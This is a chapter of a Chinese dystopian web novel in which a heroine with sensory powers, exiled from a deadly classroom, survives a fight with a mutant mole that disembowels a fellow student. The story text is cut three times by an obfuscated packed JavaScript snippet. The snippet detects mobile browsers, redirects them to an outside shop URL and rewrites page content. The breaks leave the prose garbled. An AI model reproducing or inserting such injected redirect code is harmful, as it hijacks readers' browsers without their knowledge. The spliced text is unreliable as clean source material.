“你没有选武器,”黎歌注意到了,她是空手回的座位,或许在某个瞬间,她已经放弃了自己的生命。“既然可以带一件物品,带总比不带更好的。但是我有一个条件,使用前需要经过我的同意,你会答应吗?” 这样她就可以在规则范围内,同时拥有两件武器。 主播沉默了一下:“我可以答应你,但你不怕我骗你吗?” 黎歌动了动鼻子:“你骗我的时候,我会知道。” 主播的表情纹丝不动,显然没信,但意外得也没有反驳,只是看向角落的位置问道;“……为什么不给她?” “她?”黎歌顺着视线,看到了激动的班长,“她并没有想好自己需要不需要,她只是想要先占有。当然,屯集资源也是一种聪明的做法。” “那你要改变主意吗?这是个很重要的工具,或者你不应该交给任何人,你留着……” “不好意思姐姐,我没有时间再聊了。你要吗?” 直觉告诉黎歌,主播会答应。 一个勇敢且柔软的人,只要能看到一点点希望,她都会再坚持坚持。 大约两秒钟后,黎歌听到了她预想中的答案:“我答应你。” 只是移交东西的时候,一滴眼泪落在黎歌的手背上,有些滚烫,低哑的声音近乎于倾诉:“谢谢你。” 黎歌二度返回讲台的边缘,迎着老师看不见表情的脸,开口:“我现在没有其他武器了,老师,请让我带走那支香。” 空白的脸肉眼可见得停顿住了。 接着她听到了老师幽幽的回复:“我拒绝。” 硝石味消失了,变成了一股铁锈的味道。 【这是专属于胆小者的味道,是齿轮生锈、裹足不前、不足为惧的声音。】 黎歌始料未及。 她好像一不小心抓到了老师的弱点? 到现在为止骨文没有出过任何差错,虽然不可置信,可以明确在误打误撞中她真的让老师乱了分寸。机不可失,她勇敢地逼了一步:“老师,如果我坚持要呢?” 老师抓了下讲台,指甲将桌面抠出了五道痕迹,她压低声音,用仅有他们两个人可以听到的音量说话。 “刚才我还在想,作为这间教室少数觉醒的祝福者,你实在过于愚蠢。愚蠢足以让强大的祝福者送命,他们往往死了也不知道自己拥有可怕的力量。现在看来,你不是真的笨。” 黎歌一惊! 老师知道祝福者,难道老师的脑海里也有骨文吗? 她敏锐地抓住了“少数”这个词汇,说明这间教室内的祝福者并非只有她。 还有谁?黎歌脑海里浮现了刚才那双鹰一般充满恨意的眼神。他吗? 黎歌记性不算差,那是一张全然陌生的脸,她不记得曾经和这样一号人物有过接触。所以,唯一的可能性只有,对方的祝福能力和黎歌有关系。 但现在没有时间去关注这些无关紧要的人了。 黎歌下意识得皱眉,略微焦急:“老师,请不要岔开话题。” “……做个交易吧,天香留下,我可以回答你一个问题。” “原来它叫天香。但是老师,我要如何确定这是否是等价交易?” “取决于你的问题是否有价值。”老师压抑着怒火,冷笑道。 比人虫更令人厌恶的,是聪明的人虫。 但无论人虫有多么得聪明,结局都是注定的。教学经验告诉她,第一堂课如果是体育课,那么体育课的死亡率就会是百分之百。 现在她要做的就是尽快把这只人虫打发走。 人虫认真思考的样子令她有点想笑,自己好像给了对方希望的错觉,真是可怜。接着她听到人虫松了一口气:“我知道硝石味代表什么了。” 老师:“?” 硝石味的声音又回来了。 【聪明如你,这是绝对规则的味道。如同射出的子弹,伴随着硝石燃烧的味道,它一往无前,从不偏移它的轨迹。】 虽然有些不合时宜,但黎歌想笑。 骨文竟然说她没有感受过相关情绪。在原来的世界,她经历的那些规矩,居然都不是绝对的。 想想也对,毕竟人类还创造过“规矩是死的,人是活的”这句代代传颂的名言。 如今,她在一个杀人怪物的身上嗅到了绝对规则的味道,这是如何得讽刺。 既然如此,说明老师的答案绝对可信。 振奋的心跳声被黎歌压抑住,她尽量得冷静,开始思考。一分钟后,她有了答案:“久等了老师。虽然不知道天香对你意味着什么,但这个问题的答案对我很重要。” ****** 几分钟后,上课铃声宣告了死亡倒计时的开始。 欢快的小步舞曲在爬满锈迹的广播器过滤下,旋律变得奇怪而又阴森,仿佛钢琴键上跳跃的不是音符,而是一具死亡骷髅。 五个人已经侯在教室门边,紧张的情绪蔓延。 门外宛如黑洞般深不见底,看得人手脚发凉。这不正常,即便是最黑的夜,也不曾像这片黑暗般死寂。 但他们已经没有时间去害怕了。 有人迈出了第一步。 黎歌紧随其后,指尖触碰到黑暗。门里的气温很冷很冷,仿佛被浸泡在冰水里。 行走间她恍惚听到了齿轮转动的声音。 教室门合上的那刻,犹如一阵暖风过,身上顿时暖和起来。 【细胞解冻中】 【生命树已开启】 【祝福者:黎歌】 【祝福能力:全知者】 【饥饿值:100(你睡前吃了夜宵,那是一碗葱油牛肉面,你吃饱了。注:饥饿标准值为50,高于80时,智力值、战力值加点20%,低于50时,战力值将下降且进入不稳定态,清零则死亡。请好好吃饭。)】 【精神值:65(你的精神状态暂时良好,请谨慎进入污染区域。注:精神值低于50时精神极易被污染,低于30时进入若虫状态,数值清零时将变成虫域的一部分。)】 【幸运值:44(你是个不幸的人,如果天降陨石,那么它有一定概率是受到了你的召唤。)】 【智力值:108(其中20%为饥饿值加点。恭喜,你是学习的天才!任何复杂的知识都将被你轻松吸收。)】 【战力值:10(其中20%为饥饿值加点。由于你不注重锻炼,现在的你甚至打不过70岁老奶奶。)】 【解锁智力天赋:虫巢。获得地图碎片一,人虫教室。你已检索完该地图,但你十分虚弱,无法开启虫巢。】 黎歌:“……” 不知道算不算好消息,智力数值翻倍了。 刚走出教室细胞就解冻了,果然天香抑制了她的细胞进化。如果这就是进化的途径,她只需要尽量推迟回教室的时间,结束虚弱状态,拯救一些濒危数值。 新增的饥饿值带来了20%加点,吃饭很重要,接下来要想办法收集些方便携带的食物。 虫域又是什么?听起来就不是什么很好的词汇。 至于天赋虫巢,她暂时也无法理解这是个什么样的能力。 机械声从头顶传动到正前方,带来细微到不能察觉的震动,正前方的门被打开。 他们来到了室内体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正此时,一侧空白的墙突然闪现出几行红字,化妆师的动作愣在了半空。 【九章系统加载中……】 【九章:人虫们,欢迎来到联合区第一基地。在本基地内,你们将接受基础教育。】 【九章:自从第六次生物大灭绝降临后,变种开始肆虐,我们被迫离开钢铁丛林,住进了洞穴。蝴蝶煽动飓风,羊群驱逐野狼,这是混沌时代,这是最坏的时代。唯有斗争!请记住,生存的唯一手段就是——进化,进化,不惜一切进化!】 【九章:为了黎明,请成为战士。】 【体育课倒计时:30秒】 【热成像扫描进行中,请稍候】 “这是什么?”众人被这些红色文字弄得满头雾水。 “喂学生,你别到处乱碰啊,别碰到什么机关,太危险了。”化妆师嚷嚷道。 “你碰了什么东西?”一道陌生的声音在黎歌耳边响起,女人低头看向黎歌仍旧按在开关上的手。 第五个流放者。 她的站姿英挺,两肩比尺子绷得更直,左手无名指有一道长期佩戴戒指留下的白色印记。 右边的裤脚空空荡荡,所以她选择了一根木棍作为武器,像是从扫帚里拔出来的,好支撑着她站立。 这是她被“屠杀”的原因,她是残疾人。 刚才第一个踏出教室的正是她。 黎歌与她对视,嗅到了浓郁的竹香味。 【这是勇气的味道。你不知道它究竟扎根了多久,但任何暴风雨都不能轻易地摧毁它。】 或许她是值得信任的。 但是,现在有其他更重要的信息等着黎歌消化。 这是混沌时代,这是最坏的时代——骨文也曾经给出过这样的信息,它和编写九章的人难道有联系? 总得来说运气不错,这些信息比一盏灯重要得多。黎歌不知道该不该松一口气,一边回复竹女的问题:“应该是体育馆的智能控制系统。” “我一直以为这个地方的建设是落后的,像80年代的乡村学校,”竹女略微思考,四下巡视,“但这里有新媒体,说明这是个信息社会。很奇怪,他们把投影仪和电脑设置在了哪里?” 信息社会?恐怕远远不止。 青苔、木门、剥落的墙皮,掩盖在这些破败底下的,很可能是未来世界。 5. 第一基地05 黎歌逐字回忆刚才那些文字。 在原先的世界,科学家公认地球一共经历过五次生物大灭绝,四十六亿年间,每一次灭绝都导致生物格局大变。巨型鹦鹉螺、邓氏鱼、恐龙等等,时间往往无情,无论是何等辉煌的霸主,最终都会沦为地质层中或厚或薄的一页。 如果第六次生物大灭绝降临,这次倒下的霸主毫无疑问是——人类。 至少说明这里的生物史观与她熟知的有相似之处。 基地?洞穴?这是否意味着,当前这个破旧的教学楼建立在洞穴里,人类依靠着它,培养一代又一代的战士。 不知道这个世界有没有核武器,如果能将掌握着核技术的人类赶回了洞穴……究竟是什么样级别的生物变异,能造成这样恐怖的威胁? 【九章:扫描结束,人虫数量5只,满足体育课开课条件】 【九章:经检测,本次参与人虫总战斗值等级裁定为平民级,训练内容校正为强化训练。】 【九章:本系统仅作简单检测,如质疑裁定结果,请递交基因筛查。】 【九章:训练生物加载中】 【九章:已导入训练生物,后方489号防空洞开启】 【本次训练生物——鼠虫·幼鼠体(注:基因已修正,适合新手训练) 身高:1.5m 体长:2m 跳跃:0.5m 跑速:10.5m/s 智力:二星 攻击欲望:三星(它有较强烈的进食欲望)】 【九章:训练时长以击杀为准,请勿超过45分钟】 “&%#!”众人各抒胸臆。 分不清冷汗还是热汗从化妆师脸上滑落,他开始发抖,嘴角不自控地扯着一些凄惨的笑意:“开,开什么玩笑,我见过最大的老鼠也才70厘米高。” 竹女警惕地看向他:“你去过南美洲?” 视线一个接着一个烙在了化妆师身上,他有些反应过来,把头摇得像筛子:“没有没有,我是说那种穿背带裤的老鼠……” 一阵死寂。 不适宜的玩笑只会让人更加烦躁。 “后面好像有声音?!”主播惊恐地指向角落。 昏暗的后半个体育馆,地面隆起一座小山,庞然巨物从防空洞里钻了出来,呼吸声在体育馆内刮起一阵又一阵的小风。 系统描述的巨型老鼠噩梦般降临在众人视线里。 准确来说是鼹鼠。它具备鼹鼠绝大多数生理特征,身体呈短圆柱型,黑色皮毛柔软,视力退化到看不见眼睛,颈很短,长着一对标志性的硕大前爪和花状鼻子。 将近十厘米长的指甲……这些指甲刮擦过地面,发出金属般坚硬又刺耳的声响,教室里的那些刮痕瞬间有了解释。 “变,变异‘瞎爬子’!”化妆师紧张得差点咬到舌头。 他从门边离开,不自觉朝人群靠近,企图寻求更多安全感,一边自欺欺人道:“我在老家抓到过,它一般吃点蚯蚓就行。” 竹女一句话打破了他的幻想:“以它的体型,这里最接近蚯蚓的食物就是我们。” 化妆师全身颤抖:“……怎么办,我们该怎么办?” “踹门啊,你回来干什么!”班长怒吼,抢步到门边,继续刚才化妆师的动作疯狂地晃门。 【九章:训练过程中请始终保持冷静,人虫们,死亡会靠近每一个大意的瞬间。】 “既然是训练场合,系统一定会给出训练指导。”主播仍旧抱有一丝天真的念头。 【九章:理论是战斗的基石。想要击败鼠虫,首先要找到它的弱点。请回忆相关课程知识,提示,内容来源于《人虫基础战斗篇》、《地下层的帝王》。】 【九章:请调整好装备状态,将工装防御等级调至2级(可预防普通利器、撞击)】 【九章:请调整好武器状态。调整金水刀,刃长设定50cm,厚度1mm。备用小刀一支,镇定剂一支,止血栓针剂两枚。】 刺眼的红色文字另主播一阵晕眩:“这些是什么,课程,装备和武器,为什么没有派发给我们?” 班长目眦欲裂,骂道:“你还不懂吗!教室那个怪物就是想要害死我们!她什么都没有教,什么都没有给,就把我们送到了这里当食物!!!” 唯一的礼物名为绝望。 除了班长以外,其余人不约而同分散地撤到了墙边。 鼠虫只有一只,而人,有五个。 换句话说,如果他们分散开,那么每一个人都有4/5的生存几率。 如果鼠虫一次就能吃饱的话。 颤抖的牙齿不受控地磕破了嘴皮,害怕的情绪一旦决堤,极难控制住。 没有时间了。 【体育课倒计时:0秒。】 小步舞曲戛然而止。 鼠虫从昏暗中爬了出来。 它微微低伏,分辨着地面的味道。盘旋于空气中令它魂牵梦萦的腥味中,多了好几团令它疯狂的鲜肉味。 它将后肢微屈,肌肉聚集起恐怖的能量,决定目标后瞬间爆发,如同猎豹倏忽直奔着木门而去! 班长仍旧僵在门边。 “快跑!”耳边传来一声吼叫声,那个残疾女人正在声嘶力竭地提醒自己。 方京华这辈子从没有像此刻这般冷静过。 她守在门边,直视癫狂的庞然巨物,后腿略往后撤了一步。 她要做一件事,她要利用这只死老鼠撞开这扇门! 她原来以为离开了教室,去到外面至少会有逃跑的机会,万万没有想到这是地底世界,体育馆就在教室隔壁。 凭什么只有她这么倒霉! 既然教室里的人想要她死,那大家都别想活了。那个学生虽然讨人厌,但是她的话不无道理,这里遍地都是坏人,那么,我做这一点恶算得了什么? 光靠善良是活不下去的,如果善良可以救人,医生就不会死。 既然已经来到了炼狱,那就要做好踩着尸体往上走的心理准备,只要能活着,其他人的性命和我有什么关系?为了女儿,她可以做任何事! 远处的黎歌注意到班长的姿势尤为奇怪,两腿摆出了随时可以逃跑的姿势,证明了她现在根本就是清醒的。 她想要利用鼠虫撞门! 果不其然,在鼠虫即将撞上来的时候,班长猛然朝左侧扑去,来不及调整,这只智力只有二星的幼鼠直直地撞上了木门。 “嘭!”一声巨响,木门非但没有碎裂,反而发出了金属碰撞的声音,将班长扬了一半的微笑压了下去。 黎歌想起了先前进入体育馆内的齿轮声——出入口果然是由金属机械控制着,这样才能确保没有人能在未经授权的情况下“下课”。 现在,鼠虫被彻底激怒了! “吱——”尖锐的兽叫宛如锐利的矛,刺穿了体育馆内剩余的勇气。 班长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616106|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跌跌撞撞的起身,她的身影有些迷茫,好像全然没有失败后的预案,而她此刻距离那刀刃般的爪子仅剩半米不到。 她手里拎着撮箕,她唯一的武器。那是她费了好大一番力气才从化妆师手里夺过来的。 难道她想和鼠虫搏斗?黎歌迅速否决了这个猜想,班长有点小聪明,断然不会拿自己去冒险。 她甩手将撮箕扔了出去,打在鼠爪上,成功让鼠虫暂停了数秒钟动作。 下一刻,她朝离她最近的竹女奔去。 接着伸出手掌,将那只拐杖狠狠往前一推! 竹女失去平衡狼狈地摔在地上。 现在,她不需要跑赢鼠虫,她只要跑赢竹女就可以了。 黎歌愕然。 鼠虫还没有杀人,他们却要开始自相残杀了吗? 已经跑到最远端的主播停住脚步,突然崩溃地哭嚎:“你不能这样做!她刚才还想要救你!” “别叫了,别叫了,”奔向同一个角落的化妆师更加崩溃,“天菩萨,你要把它招过来了!” 鼠虫突然抖擞起身体,短小的脸朝后方扭过来。 它在找声音的来源。 声音的直线距离里,黎歌正好处于主播的正前方。 它突然朝黎歌扑了过来! 靠! 黎歌很少说脏话,但此时再没有一个词汇能比脏话能更精准地表达她的心情。 那瞬间,她注意到竹女仍旧安静地躺在地上。 原来是这样。鼹鼠因为长期生活在地下,视力已经大大地退化,相反,嗅觉和听觉才是它赖以生存的资本。 所以比起躺在地上的竹女,它优先注意到了声音。 来不及躲了! 难道她要死在这里了吗…… 浓烈的情绪进入黎歌的神经系统,炸开了一片雪白! 鼠虫的跑速是多少来着?没记错的话,是10.5m/s,百米9.52秒。 世界百米赛跑记录是9.58秒。 那她的跑速呢? 【细胞持续解冻中】 【智力值:108(记忆犹新,你学会了顶级运动员正确的肌肉发力方式)】 【战力值:30(你的速度瞬间爆发力惊人)】 黎歌眨了眨眼睛,发现鼠虫的动作变慢了。 她的瞳孔里,鼠虫微仰起它短小的下颌,扒爬的动作宛如一帧帧定格动画,甚至可以清晰地看见那些抖动的毛发中,掉出了好几粒干瘪的虱子。 “小——心——”身后是主播的提醒声,慢得像卡住了的磁带。 瞳孔里浮出一圈橡胶跑道,哨声拔地而起。远处看台上的体育老师抱着她那2L的粉色水壶,抠弄着小猪佩奇贴纸,一边漫不经心地看着秒表。 她说:“黎大班长,你又跑这么慢,白瞎你的大长腿了。” 黎歌问:“我跑多少?” 体育老师看了眼秒表,念道:“……9.58秒。” 黎歌右脚猛然一踩,转身。 在鼠虫扑上来之前弹射了出去。 “天菩萨!”化妆师惊道,“这学生是特长生啊,跑得跟豹子一样快!” “……跑快点!再快点!”常乐着急得大喊! 鼠虫在扑空后,更加狂怒地追捕着学生,不知道是不是自己的心里错觉,常乐发现学生似乎跑得比鼠虫还要快一点? 这不可能吧?人的极限可以跑出这种速度吗? 6. 第一基地06 她笔直得往前奔跑,眨眼就快到墙边,而她没有任何要拐弯的意思,是吓坏了吗? 再这样下去就要撞到墙—— “!”常乐惊呆了。 “卧槽!”化妆的男人爆出了粗口。 学生直逼到墙跟,以无法收势的速度,一脚踩上了墙,紧接着另一只脚也踏了上去! 她在90°的墙上如履平地,一直跑到几乎接近天花板、鼠虫够不着的位置,这才停下来“蹲”在墙上,伸出一只手贴着天花板,以一种逃离地心引力的姿势短暂地休息。 长发有些凌乱地垂坠下来,她边喘着气,另一只手将头发拨到单边,汗水从那泛红的脖颈滑落。 因为过于震惊,常乐脑袋里一片混乱:“像……” “蜘蛛侠!”化妆的男人激动得原地打转,“活的蜘蛛侠,卧槽,活的,她居然可以挂在墙上!” 黎歌剧烈地喘息着。 这个世界现在跟她存在着垂直的夹角,这是她未曾体验过的视角,所以有轻微的晕眩。 但可以忍受。 她尽量放松地蹲在墙上,以防坠落,一只手贴住了墙,这个姿势也让她身体多了着力点。 已经忘记自己是怎么办到得了。百米跑都是直道,她不知道拐弯时肌肉应该怎么发力,索性笔直往前,一直往前,然后就“跑”上了墙。 身体并不轻松,左边小腿痛得她冒出了第一颗热汗。应该是在她逃跑的第一个转身时,因为过度爆发了力量,肌肉承受不住撕裂了。 虽然是撕裂了,但由于现在身体处于极度亢奋状态,神经系统欺骗了肌肉,所以她还能跑得动。 只是停下来这会儿痛感变得更加清晰。 墙脚,鼠虫正在急得团团转。根据九章系统的数据,它的跳跃高度仅有0.5m,加上身高,2米已经是它触碰的极限。 九章说它被修改过基因,所以跳跃能力才跟人类小孩一样微乎其微的吧。 人类科技竟然发展到了能肆意改造基因的程度。 黎歌平缓着气息,借着这宽广的视角,打量起体育馆掩藏在昏暗中的后半段,眼前蓦得一亮。 防空洞旁边果然摆放着一张桌子,桌上散落着几包压缩饼干、军用罐头,还有军用水壶。 黎歌这才开始感觉到口渴,而且有些饿了。穿越至今半个小时过去,因为剧烈的运动和高度紧张,身体储存的能量消耗得很快。 只要杀了鼠虫,就可以安心地用餐、补充能量了。 问题是怎么杀呢? 仅仅只是逃命,她的肌肉就撕裂了。挂在这里已经十分费力,涨的这点体力值,恐怕不够她击杀鼠虫。 她需要时间。 细胞解冻没多久就实现了飞檐走壁,再拖一拖,或许能有一战的机会。 这会儿鼠虫站立了起来,爪子搭在墙上并张开了嘴巴,等着黎歌掉下来。血腥的臭味熏上天花板,黎歌受不住,又往上攀了几步。 臭就算了。挨得近了,黎歌正对着它那由粉色触手构成的花状鼻子,总计22条,各自灵巧地蛄蛹着,像极了一条条肉粉色的蛇,捕捉着空气中的水分,一边试图触碰到黎歌。 太恶心了! 黎歌强忍着不适,争分夺秒地传递信息:“铁架是安全区域,爬铁架!” 她突然出声,惊醒了远处观察着这边动静的几个人,这才想起来他们的处境并没有更加乐观。 主播和化妆师几乎毫不犹豫选择了信任她,听话地往铁架跑去。 班长边跑边提出质疑:“为什么要爬铁架?我们能爬上去,鼠虫也能爬上去!” “不,它不会,”黎歌肯定道,“因为基因禁令的存在——它被禁止破坏这里的设施。” 所以哪怕现场血迹如何恐怖,中间仍旧躺着完好无损的缓冲垫,以及几颗仅仅只是泄了气的篮球。 鼠虫等了十几秒钟,没等到食物从天花板坠下来。 它失去了耐心。 “嘭——”一声动静从铁架那边传来,它转身,灵敏的听觉立刻捕捉到了声音的来源,紧接着风一般往铁架窜去。 不好!他们有些人离铁架很远,这样下去会被追上。 黎歌企图吸引它的注意力,大喊道:“我在这里!” 鼠虫毫无反应,它已经放弃这个难抓的猎物了。 化妆师落在最后,铁架上留下了他湿润的手汗,让他攀爬时打滑了好几次。 锋利的风声逼近了,最后一刻,他忍不住回头看了鼠虫一眼,屁股极限地迅速往后撤。 利爪从他腹部破风而过,鼠虫摔倒在地,气得狂怒。 “跑,跑赢了。”他们大口大口喘气,在铁架顶端彼此相望,露出了劫后余生的笑容。 然后化妆师听到了水声,滴答,滴答。 他低头,看见侧腰位置校服裂了个大洞,血渗透出来。他的蓝色校服半边都浸透着鲜血,满溢到从边角渗透出去,滴在铁架,一半溅落在地面。 “我好像受伤了,我受伤了。”化妆师颤抖着双手,拉开校服拉链。 没有了校服的遮挡,肠子从裂开的肚皮里翻滚出来,血淋淋地往下坠。 化妆师下意识得拿手去接,抱了满手的血肠,有些断了的部分从他手中穿过去,从3米高的铁架上摔下去,被鼠虫张嘴吃了下去。 他麻木得想要将肠子理好,却越理越乱,他只能先塞一部分回身体里,拦不住有些断断续续往下掉。 “不能吃啊,你不能吃掉,还给我……” 他全身褪得跟白纸一样,半边脑袋麻木地鸣叫着,却没有痛感。 旁边两个女人在尖叫。 血红的视线从满满当当的手移开,他抬头与墙上的学生对视,喉咙里已经发不出什么声音了:“你能不能救救我?” 他唯一的救命稻草,不,是神,突然从墙上栽倒下来。 为什么不救他?为什么理所当然地忽视他?又是这样,大家都不听他说话,明明每次他都很大声了,他们听见了,却都装作没有听见。 他不受控地往后倒去,有人接住了他血淋淋的身体。生命的最后几秒,他望着这个扎头巾的陌生女人,又茫然地看天花板。 黑板擦从他掌中滑落。那是他从老师手里讨来的,即便知道它只是普通的黑板擦,他仍旧抱着一丝侥幸要来了。最后,它也没有帮上忙。 “过几天妹妹高考,我答应要去送她的。” “考完要带她去首都看升国旗,狗子带他弟弟去了,我妹妹也得去。” “我死了以后,微付的钱,她能取得出来吗?我之前听说微付要贪死人钱,得转到信宝里,我没有认真看。早知道就都转过去了。” “两万块够不够读大学的学费啊?我只存了这么多,我好没用啊。” “……” 他说了很多很多话,主播已经哭不出声了。 淋漓的鲜血顺着铁架往下坠,尝到了血腥味的鼠虫兴奋地迎了过来,它站起身,张着它小巧的嘴,吮吸着坠下来的部分,如同吃一根滚烫的血色面条。 黎歌的脑神经里炸开了剧烈的痛感! 脑袋里仿佛钻进了一只螳螂,正挥舞着锯子撕扯她脆弱的神经系统。 身体瞬间失衡地从墙上坠了下去,砸在坚硬的地面,胳膊发出了骨折的断裂声。加倍的、持续的疼痛,剥夺了她行动的能力。 好想揭开头骨,将那只螳螂捉出来。 出去!出去! 世界被拉扯成了奇怪的形状,光怪陆离炫光的正中央, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616107|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化妆师死不瞑目地看着她,眼神满布着仇怨。 黎歌捂着头,望向他干瘪的肚子,里面的内脏很快就被鼠虫掏空了。而这点东西并满足不了它的胃,在吃完最后的开胃菜后,它举着那菊花般的鼻子,嗅着空气,寻找新的食物所在方位。 这一看,黎歌的痛感隐约发作得更加剧烈。 只见几步之外,拄拐的竹女还躺在地上! 她谨慎地挪动了一段距离,足够她挪到拐杖前,拿回这“一条腿”,但距离铁架还有很远。此时鼠虫停止了进食,她不敢再有其他动作,只能趴在地上继续“装死”。 可能她知道,装死并不能逃开鼠虫的嗅觉追捕。 但她无可奈何,那副残缺的身体令她的命运平躺在死亡铡刀之下,铡刀落下来只是早晚的问题。 可是,不能再死人了。 黎歌的眼角因为疼痛开始分泌生理性的泪水,脑神经已经负荷到了极限,这间教室里再死任何一个人,她都会头裂而死! 黎歌抱着骨折的那只手臂,忍着剧痛,靠着墙颤巍巍站起身。 她还能跑,只要能控制住鼠虫的行动,撑过45分钟,不,已经过去10分钟了,再坚持35分钟,四个人都可以活下去! 她颤抖着唇角,放声大喊:“我负责吸引这只鼠虫的注意,找到机会你就起身,一定要逃到铁架上面去,地面是它的领域,迟早会被它发现的!” 竹女回头,讶异地发现黎歌对话的对象是她,空白的眼神浮起亮晶晶的感激。她点了点头。 此时,鼠虫偏了下脑袋。 黎歌紧绷的神经正要松一口气,却悲哀地发现鼠虫再度扭过头去,肉虫蠕动着,锁定了竹女所在的方向。 黎歌警钟大作!糟糕,鼠虫完全忽视她的干扰,它发现竹女了,现在没有任何办法可以阻止它对于食物的渴望,除非…… 除非提供新的食物。 指尖的血液褪至冰凉,一阵耳鸣声中,黎歌听到自己说出了最残忍的话:“把尸体扔下去!” 抱着尸体的主播陷入了呆滞的状态,她好像听到了黎歌的声音,但又没有听懂,只是机械地看向黎歌,紧绷的双臂一直没有松劲。 一旁的班长更是不敢上前。她始终和尸体保持着一定距离,抵着墙、捂着嘴痛哭。 来不及了,来不及了。 不出10秒,鼠虫的利爪就会扎透竹女! 黎歌猛然蹬了下墙壁,驱动着她残破的身体,闪电般冲到了铁架前。 要赶上,一定要赶上!黎歌的视线里仅剩铁架,她迅速攀爬上去,逼近主播,两只手强硬地、残忍地将化妆师的尸体拽了出来,狠狠往下推去! 血腥砸在地面,鼠虫瞬间提起了脑袋,亢奋地回过身,朝尸体扑过去,啃在了化妆师的脸上。 趁现在,快…… 黎歌已经感受不到四肢的存在,肌肉撕裂的疼痛令她张不开嘴,发不出任何声音。 视线的尽头,竹女倚着拐杖,争分夺秒爬起身来。 接下来的场景,就像一帧又一帧的幻觉。 她看到竹女很快逃到了铁架旁,借力站稳后,校服之下的手臂得以爆发了可怖的力量,拐杖高高举起、狠狠落下,抡圆了、砸在了鼠虫的头骨上! 撕心裂肺的鼠叫声里,拐杖断成了两截。 竹女拎着其中一截,单手反握铁架,将自己抛上去,然后对准正下方的鼠虫,一跃而下,断木刺入鼠虫的颈侧。 飞溅的血液,浸染了竹女踩在鼠虫背上的那只独腿。 昏过去之前,黎歌眼中的最后一幕,是她深邃而又担忧的眼神。 【你学会了鼠虫的一部分生存方式,对【寻踪】有浅显的认知。或许你可以试着闭上眼睛,你将看得更远。】 7. 第一基地07 “她伤得重吗?” “瞳孔正常,光反射反应正常,还活着。但心率超过了120,肋骨断裂至少6根,左手尺桡骨骨折……情况很危险,可能还有肌肉撕伤、内出血,需要医疗设备才能检出来。” “可她刚才还跳上了这个铁架,她是怎么办到的?” “人在高度亢奋的状态下分泌的肾上激素会使自己忘记伤势,失去了疼痛这一项自我保护机制以后,往往他们的死亡率也会高于其他外伤更明显的人。” “……那现在怎么办,距离下课还有30分钟,但医生早就死了,就算等到30分钟以后,那个无脸怪物会救她吗?我们能不能为她做些什么?” 吵死了。 眼皮好重,自己应该是昏过去了。 身体就像块破布一样失去了掌控,想要动一动手指,总觉得轻飘飘的,使不上力气。 失去疼痛的保护机制?要是能失去就好了,现在身体任意一处疼痛她都感受得一清二楚。 好疼啊,全身上下仿佛有无数只老鼠在啃食她的身体。最疼的就是前臂的骨头,两个小人正在卖力地锯着,你一下,我一下,时不时还踹她两脚借力,跟神经痛的痛觉程度不相上下。 明明处于昏迷状态,大脑却异常得清醒,保持着思考。她为什么昏迷来着?啊,她把化妆师的尸体,像饲料一样投喂给了鼠虫。 那个时候化妆师真的死了吗? 听说死亡是一个渐进的过程。器官因为供氧的中断而停止工作,但是各个器官对于缺氧的耐受是不同的,当中,眼睛的耐受度远高于其他。 所以他死前最后一刻,是不是亲眼见证了她的谋杀?在鼠虫咬去他半张脸的时候、在身体失去人形的时候,那充血的、凸出的眼球始终死死地盯着她,控诉着她的伪善。 那么…… 我和教室里那群人有什么区别? 黎歌陷入了茫然,失序的心跳渐渐有些恐慌。 人天生是自私的动物。教室里的人选择流放他们,班长撞飞了竹女的拐杖,而她毫不犹豫地利用了化妆师的尸体。相比前面两者,尸体似乎无足轻重,可是,如果当时并没有尸体呢? 她一定会想出别的办法保全自己,比如,比如捅伤耳朵,放任其他几个人填饱鼠虫的肚子。 短短一小时不到,她就背弃了她所受过的教育,这个地下基地仿佛一具巨大的腐尸,任何人被困在里面,腐烂的菌丝早晚会伸进口鼻中、扎破血管,再从肮脏的心脏里长出来,直到所有人都和这无序的世界散放同样的恶臭。 良心原来真的会有痛感。 为什么呢?她从来不是心软的人,为什么会有这样粘稠的情绪? 是谁导致了化妆师的死亡? 当然是那只贪婪的鼠虫。 可是,化妆师的死亡率一开始只有1/5。是她发号施令,要求他爬上铁架才导致了悲剧发生。一定只有爬上去才能活吗?不,竹女躺在地上,同样争取到了宝贵的生存机会。 假设她能考虑到他和铁架的距离,那她就会知道,他根本不可能跑得过鼠虫。是她的狂妄自大导致了他的死亡。 呼吸一滞,黎歌的大脑出现短暂地空白。是这样吗,是因为她明明可以更加谨慎地做决策,却活活害死了一个人,所以愧疚吗? 我是杀人犯…… 不,我不是杀人犯,我救人了! 我让体育课提前结束,我救了4个人——这是最好的结局,我哪里做错了? 我没有错。 她反复在心里念了三遍。 “她怎么哭了?是不是太痛了?” “无论身心,她都承受了超过一个正常人能负荷的压力。” “那时候我已经被吓得呆住了,她比我小,却比我更有勇气去决断。她可千万不能死,我从来没有欠过债,我不想欠她一条命。” 黎歌:“……” 我哭了吗?黎歌一瞬间有些发怔。 【祝福者:黎歌】 